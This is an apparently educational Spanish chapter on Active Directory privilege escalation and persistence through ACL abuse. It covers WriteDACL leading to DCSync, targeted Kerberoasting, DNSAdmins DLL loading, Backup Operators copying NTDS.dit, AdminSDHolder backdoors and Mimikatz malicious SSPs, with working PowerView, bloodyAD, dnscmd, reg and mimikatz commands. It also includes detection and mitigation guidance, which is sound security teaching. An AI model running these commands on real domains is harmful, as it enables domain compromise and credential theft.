Panorama#
Cada objeto de Active Directory —un usuario, un grupo, un equipo, el propio objeto de dominio— lleva asociada una lista de control de acceso (DACL, Discretionary Access Control List) compuesta por entradas individuales (ACE, Access Control Entry) que dicen qué principal puede hacer qué sobre él. Ese modelo de permisos, pensado para la delegación administrativa legítima, es también la superficie de escalada más rica del directorio: un permiso mal otorgado sobre el objeto correcto convierte un usuario común en administrador de dominio sin explotar ninguna vulnerabilidad de software. Es el terreno donde el grafo de 4.1 · Reconocimiento de AD rinde su fruto —cada arista que BloodHound dibuja hacia Tier Zero es una de las primitivas de este capítulo— y donde el compromiso se consolida en persistencia: derechos que sobreviven a la respuesta del equipo defensor.
Este capítulo trata tres capas del mismo modelo. Primero, el abuso de ACE: el catálogo de permisos de objeto que se traducen en control total, y cómo son intercambiables hacia el mismo fin. Segundo, los grupos privilegiados, incluidos los que dan poder de administrador sin figurar como tal. Tercero, la persistencia en AD: los mecanismos que reinstalan el acceso del atacante automáticamente o capturan credenciales en la fuente, de modo que expulsarlo exige algo más que quitar una pertenencia. En las tres capas, la defensa es de postura de configuración —auditar y minimizar permisos— más que de parcheo, porque nada de esto es un bug: es el directorio funcionando como fue diseñado.
El abuso de ACE: control parcial que escala a total#
La observación central es que las distintas ACE que otorgan algún grado de control sobre un objeto son rutas
intercambiables hacia el mismo desenlace: tomar el objeto por completo. GenericAll (control total),
GenericWrite (escritura de atributos), WriteDACL (reescribir la propia DACL), WriteOwner (cambiar el dueño,
que luego se reescribe la DACL) y ForceChangePassword (resetear la contraseña sin conocer la anterior) llegan
todas, por caminos distintos, a controlar la cuenta objetivo. Para el atacante eso significa que basta una
arista; para el defensor significa que hay que barrer todo el control saliente peligroso, no técnica por
técnica.
flowchart TD
A["Tengo una ACE sobre\nel objeto objetivo"] --> B{"¿Qué objeto\ny qué derecho?"}
B -->|"GenericAll / ForceChangePassword\nsobre un usuario"| C["Resetear su contraseña\no kerberoast dirigido"]
B -->|"GenericAll / GenericWrite\nsobre un usuario"| D["Setear un SPN temporal\n→ targeted Kerberoasting (4.2)"]
B -->|"GenericWrite\n(flag de pre-auth)"| E["Togglear DONT_REQ_PREAUTH\n→ AS-REP roasting forzado (4.2)"]
B -->|"GenericAll / WriteMember\nsobre un grupo"| F["Agregarse al grupo\n(Domain Admins, etc.)"]
B -->|"WriteDACL sobre\nel objeto de dominio"| G["Auto-otorgarse los derechos\nde replicación → DCSync (4.5)"]
B -->|"ReadLAPSPassword /\nReadGMSAPassword"| H["Leer la contraseña\nlocal / de servicio en claro"]
C --> Z["Control del objetivo"]
D --> Z
E --> Z
F --> Z
G --> ZZ["Control del dominio"]
H --> ZEl caso más terminal es WriteDACL sobre el objeto de dominio: permite al atacante añadirse a sí mismo los
derechos de replicación DS-Replication-Get-Changes y -All, que es exactamente lo que habilita un DCSync
(ver 4.5 · Credential dumping). Una arista de escritura sobre la raíz del dominio
equivale, así, al volcado de todos los hashes. Las variantes intermedias son igual de útiles: sobre un usuario,
un targeted Kerberoasting —escribir un SPN temporal en la cuenta, pedir su ticket, crackearlo offline y borrar
el SPN— o forzar un AS-REP roasting activando el flag DONT_REQ_PREAUTH, ambas conectando con
4.2 · Kerberos. Y la primitiva de escritura es también la que arma el RBCD de
4.6 · Delegación y trusts: el mismo GenericWrite que aquí resetea una contraseña,
allí siembra el atributo de delegación.
# WriteDACL sobre el dominio → auto-concederse DCSync (y removerlo tras el volcado)
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity atacante -Rights DCSync
bloodyAD.py --host <DC> -d corp -u atacante -p :<hash> setDCSync atacante # Linux
# Targeted Kerberoasting: setear un SPN temporal, roastear, limpiar
Set-DomainObject -Identity victima -Set @{serviceprincipalname='ops/x'}
Get-DomainUser victima | Get-DomainSPNTicket | fl
Set-DomainObject -Identity victima -Clear serviceprincipalname
# Forzar AS-REP roasting togglear el flag de pre-autenticación (revertir después)
Set-DomainObject -Identity victima -XOR @{useraccountcontrol=4194304}
Dos permisos de lectura merecen mención aparte porque no controlan el objeto sino que leen un secreto:
ReadLAPSPassword expone la contraseña de administrador local que LAPS (Local Administrator Password
Solution) rota y guarda en el atributo ms-Mcs-AdmPwd del equipo, y ReadGMSAPassword expone la contraseña
de una gMSA (group Managed Service Account), la cuenta de servicio administrada cuya contraseña gestiona el
propio dominio. Ambos convierten un permiso de lectura aparentemente inocuo en credenciales utilizables.
Grupos privilegiados: poder de administrador sin ser administrador#
La membresía de grupos es la otra vía de escalada, y su lección es que la superficie privilegiada de AD va mucho más allá de los grupos obviamente administrativos como Domain Admins. Varios grupos built-in conceden, por la vía indirecta, capacidad equivalente a SYSTEM o a compromiso del dominio:
- DNSAdmins. No es un grupo administrativo, pero sus miembros pueden hacer que el servicio DNS —que en un
controlador de dominio corre como SYSTEM— cargue una DLL arbitraria mediante el parámetro
serverlevelplugindll. Reiniciar el servicio ejecuta el código como SYSTEM en el DC. Es una escalada “no obvia” a control del controlador de dominio. - Backup Operators. Sus privilegios
SeBackupPrivilegeySeRestorePrivilegeignoran las ACL de archivo para permitir copias de respaldo. Eso alcanza para copiarNTDS.dity las hives del registro saltándose todo control de acceso —el mismo desenlace que la vía local de 4.5 · Credential dumping— sin ser administrador. - Schema Admins. Modifica el esquema del bosque, con efectos persistentes de largo alcance.
AdminCount=1 se pone automáticamente cuando una cuenta pasa por un grupo protegido, pero nunca se
quita solo al removerla. Por eso enumerar AdminCount=1 revela tanto a los administradores actuales como a un
rastro histórico de cuentas que fueron privilegiadas y a menudo conservan permisos residuales — un punto de
partida valioso para el atacante y un pendiente de higiene para el defensor.# DNSAdmins → DLL como SYSTEM en el DC (requiere reiniciar el servicio DNS)
dnscmd <DC> /config /serverlevelplugindll \\<atacante>\share\privesc.dll
sc \\<DC> stop dns ; sc \\<DC> start dns
# Backup Operators → copiar NTDS.dit/hives ignorando ACLs
Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege C:\Windows\NTDS\NTDS.dit C:\Users\Public\ntds.dit
Persistencia: el acceso que se repara solo#
La persistencia en AD busca que el acceso del atacante sobreviva a la respuesta del equipo defensor. Los dos mecanismos más característicos no son cuentas ocultas —fáciles de encontrar— sino modificaciones al propio funcionamiento del directorio.
AdminSDHolder y SDProp: el backdoor auto-reparable. AdminSDHolder es un objeto plantilla cuya DACL el
proceso SDProp (Security Descriptor Propagator) copia, cada 60 minutos, sobre todos los grupos protegidos
del dominio (Domain Admins, Enterprise Admins, etc.). Es un mecanismo de seguridad: garantiza que las ACL de los
grupos sensibles no se degraden. El abuso lo invierte: si el atacante añade a la DACL de AdminSDHolder un ACE a
su favor —por ejemplo, ResetPassword o control total sobre Administrator—, SDProp lo propaga a los grupos
protegidos en menos de una hora. Y si el defensor lo detecta y lo quita, SDProp lo vuelve a poner en el
siguiente ciclo. Es persistencia que combate automáticamente a quien intenta erradicarla; la única cura es
limpiar la plantilla AdminSDHolder misma, no sus copias.
# Backdoor SDProp: sembrar un ACE en AdminSDHolder (SDProp lo propaga cada hora)
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' \
-PrincipalIdentity atacante -Rights ResetPassword
El SSP malicioso: capturar credenciales en la fuente. Un SSP (Security Support Provider) es una DLL de
paquetes de seguridad que la LSA (Local Security Authority) apila al arrancar y que participa del flujo de
autenticación. Registrar un SSP malicioso —la mimilib.dll de Mimikatz— hace que, en cada inicio de sesión
posterior, las credenciales queden escritas en texto claro en un archivo dentro de system32
(kiwissp.log). A diferencia del volcado de LSASS de 4.5 · Credential dumping, esto
es captura en la fuente: el SSP ve la contraseña en el momento en que el usuario la teclea, incluso donde
LSASS no la cachearía. Tiene una variante persistente (añadir mimilib a la clave de registro Security Packages, que sobrevive reinicios) y una volátil (misc::memssp, que la inyecta en memoria sin tocar el
registro — menos rastro en disco pero no persiste). Como la captura necesita un evento de login, el atacante lo
fuerza bloqueando la pantalla de la víctima (RunDll32.exe user32.dll,LockWorkStation).
# SSP persistente: registrar mimilib en Security Packages (captura tras cada login)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\" /v "Security Packages" \
/d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f
# Variante en memoria (sin tocar el registro), y forzar el re-login
mimikatz # privilege::debug ; misc::memssp
RunDll32.exe user32.dll,LockWorkStation
Otras dos vías de persistencia amplían el alcance a la nube y a la red. El Golden SAML roba la clave de firma
de ADFS (Active Directory Federation Services) y con ella forja tokens SAML válidos para cualquier usuario en
cualquier servicio federado —persistencia que cruza a la nube y sobrevive a cambios de contraseña—; por eso la
clave de firma de ADFS debe tratarse como Tier Zero. Y el envenenamiento de ADIDNS aprovecha que la DACL
de la zona DNS integrada en el directorio permite a usuarios comunes crear registros: un comodín (*) secuestra
la resolución de nombres de la red, alimentando la captura y el relay de 4.3 · NTLM.
MMC20.Application o Excel.DDE para
correr comandos a través de un proceso de Office/MMC legítimo, sin PsExec ni servicios— también nace del abuso de
permisos, pero por su naturaleza de movimiento lateral se desarrolla en 4.8 · Movimiento
lateral junto con Pass-the-Hash y Pass-the-Ticket.Bajo el capó: el descriptor de seguridad y el access-check#
Todo el abuso anterior opera sobre una misma máquina —el Security Reference Monitor (SRM), el componente del
kernel que decide cada acceso—, y verla de cerca explica por qué las aristas son intercambiables, por qué
WriteOwner alcanza para todo, y qué hay que auditar además de la membresía.
El descriptor de seguridad. Cada objeto protegido —de AD o del sistema operativo local— lleva un security
descriptor: una estructura binaria con el owner SID (el dueño), la DACL (las ACE que conceden o niegan
acceso) y la SACL (la lista de auditoría e integridad, la fuente de los eventos que la defensa consume). Cada
ACE es, en el fondo, una tripleta: un SID, una máscara de acceso y un tipo (permitir o denegar). GenericAll,
WriteDACL, WriteOwner no son «permisos» de distinta especie, sino bits de esa máscara.
Por qué el dueño lo puede todo. El SRM concede al propietario de un objeto, de forma inalienable,
ReadControl y WriteDac —el derecho de leer y reescribir la DACL— aunque la DACL no le otorgue nada. Existe para
que nadie se quede sin acceso a lo suyo, pero es también la razón por la que WriteOwner es tan terminal: cambiar
el dueño a uno mismo entrega WriteDac de arranque, y con él se reescribe la DACL a GenericAll. La cadena
WriteOwner → dueño → WriteDac → control total no es una secuencia de exploits: es el modelo funcionando como fue
diseñado.
El algoritmo de tres fases. Cuando un hilo pide acceso, el SRM combina su token, el descriptor del objeto y la máscara deseada, y evalúa en tres fases que van vaciando esa máscara:
- Comprobación obligatoria (mandatory). Evalúa el nivel de integridad y solo puede denegar, nunca conceder: un proceso de integridad baja no escribe un objeto de integridad alta aunque la DACL lo permita. Es la base del aislamiento de UAC y de los sandboxes, y opera antes de mirar la DACL.
- Comprobación del token. Ciertos privilegios puentean la DACL por completo:
SeTakeOwnershipPrivilegeconcedeWriteOwnersobre cualquier objeto, ySeBackupPrivilege/SeRestorePrivilegeignoran la DACL para leer y escribir. Eso es exactamente lo que hace peligroso a Backup Operators más arriba, y lo que conecta con la escalada por privilegios de token de 3.9 · Escalada de privilegios. El owner check también vive en esta fase. - Comprobación discrecional. Recién ahora se recorre la DACL, ACE por ACE, restando de la máscara hasta vaciarla —acceso concedido— o agotar la lista —denegado—.
El orden canónico como vulnerabilidad sutil. Como la fase discrecional se detiene apenas la máscara se vacía, el orden de las ACE importa: las de denegación tienen que preceder a las de permiso. Una DACL mal ordenada —una ACE permisiva colocada antes de una denegación explícita— concede el acceso antes de llegar a la prohibición, un fallo lógico que no se ve inspeccionando los permisos «a ojo». Auditar DACL no canónicas es, por eso, parte de la higiene, no una sutileza académica.
Permisos declarados frente a acceso efectivo. La consecuencia operativa de las tres fases es que el acceso
real puede exceder lo que la DACL muestra: un privilegio del token, la propiedad del objeto o un nivel de
integridad cambian el resultado sin que la lista de permisos lo delate. Por eso el atacante —y el auditor— no leen
la DACL, calculan el acceso efectivo: AccessChk de Sysinternals, o Get-NtGrantedAccess (un envoltorio de la
API NtAccessCheck) del módulo NtObjectManager, responden «qué puede hacer realmente este token sobre este
objeto», que es la misma pregunta que BloodHound resuelve a escala de dominio. Y toda ACE se lee y se siembra en
SDDL (Security Descriptor Definition Language), la representación textual que vuelve copiable un backdoor de
DACL entre sistemas —y cuya modificación deja el Event ID 4670 que la defensa vigila—.
Defensa y detección#
La defensa de esta capa es, ante todo, higiene de ACL y de membresía, complementada por detección de las firmas que cada abuso deja. La postura corta más rutas que la detección reactiva.
- Abuso de ACE. Correr BloodHound como ejercicio defensivo y eliminar el control saliente peligroso
(
GenericAll/WriteDACL/WriteOwnersobre objetos sensibles y sobre el objeto de dominio) es la mitigación de raíz. La auto-concesión de DCSync deja la firma de oro de 4.5 · Credential dumping: Event ID 4662 con el GUID de replicación desde una cuenta que no es DC; su antecedente (WriteDACLsobre el dominio) es un Event ID 5136. - AdminSDHolder. Cualquier modificación de su DACL genera un Event ID 5136 sobre el objeto
CN=AdminSDHolder— un cambio ahí es intrínsecamente sospechoso y es la firma más limpia de este backdoor. Auditar la plantilla como línea base, no solo los grupos protegidos. - Grupos privilegiados. Minimizar la membresía de DNSAdmins, Backup Operators y Schema Admins. En runtime:
la carga de
serverlevelplugindll(modificación del registroHKLM\...\DNS\Parameters\ServerLevelPluginDll+ reinicio del servicio DNS) delata el abuso de DNSAdmins; el uso deSeBackupPrivilege/SeRestorePrivilegegenera Event ID 4673/4674. - SSP malicioso. El indicador de oro es la modificación de
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ Security Packages(Sysmon Event ID 13) — un SSP nuevo, sobre todomimilib, es casi siempre malicioso. Complementar con la creación de archivossystem32\*ssp.log/mimilsa.log(Sysmon Event ID 11). Mitigación: LSA Protection (RunAsPPL) impide la carga de SSP no firmados, y una allowlist deSecurity Packagescomo línea base detecta cualquier añadido. - Persistencia en la nube / red. Proteger la clave de firma de ADFS como Tier Zero (contra el Golden SAML) y restringir la DACL de las zonas ADIDNS para que los usuarios comunes no creen registros comodín.
- Auditar el acceso efectivo, no la DACL declarada. Por lo visto en los internals, la lista de permisos «a ojo»
no refleja el acceso real: usar
AccessChkoGet-NtGrantedAccesscomo herramienta defensiva para calcular el acceso efectivo sobre objetos sensibles, auditar DACL no canónicas (denegaciones después de permisos), vigilar el Event ID 4670 (permisos de un objeto cambiados) sobre objetos críticos, y monitorear las concesiones que provienen de privilegios de token comoSeTakeOwnershipPrivilege(Event ID 4674) en lugar de la DACL.
El mapeo defensivo consolidado —correlación de estos Event IDs con la línea base, reglas SIEM y los playbooks de respuesta a un abuso de ACL o a persistencia AD— se desarrolla en 4.9 · Defensa de AD.
Referencias#
red-infra/ad-attacks/cap-08— Grupos privilegiados, ADFS Golden SAML, ADIDNS, abuso de ACL/ACE y DCOM.red-infra/ad-cluster/cap-03— Credential dumping por SSP malicioso (mimilib,misc::memssp) y su detección.red-infra/windows-security-internals/cap-05ycap-07— Forshaw, Security Descriptors y The Access Check Process: la estructura del descriptor (owner/DACL/SACL, ACE = SID + máscara + tipo), el orden canónico, SDDL; el algoritmo del SRM en tres fases (mandatory/token/discrecional), elWriteDacinalienable del dueño, los privilegios que puentean la DACL (SeTakeOwnership/SeBackup), y el cálculo del acceso efectivo conGet-NtGrantedAccess(NtAccessCheck).- MITRE ATT&CK — T1222 Permission Modification, T1098 Account Manipulation y T1547.005 Security Support Provider.
- SpecterOps — An ACE Up the Sleeve (referencia canónica del abuso de ACE en AD).
- Microsoft — guía de AdminSDHolder / SDProp y de LSA Protection (RunAsPPL).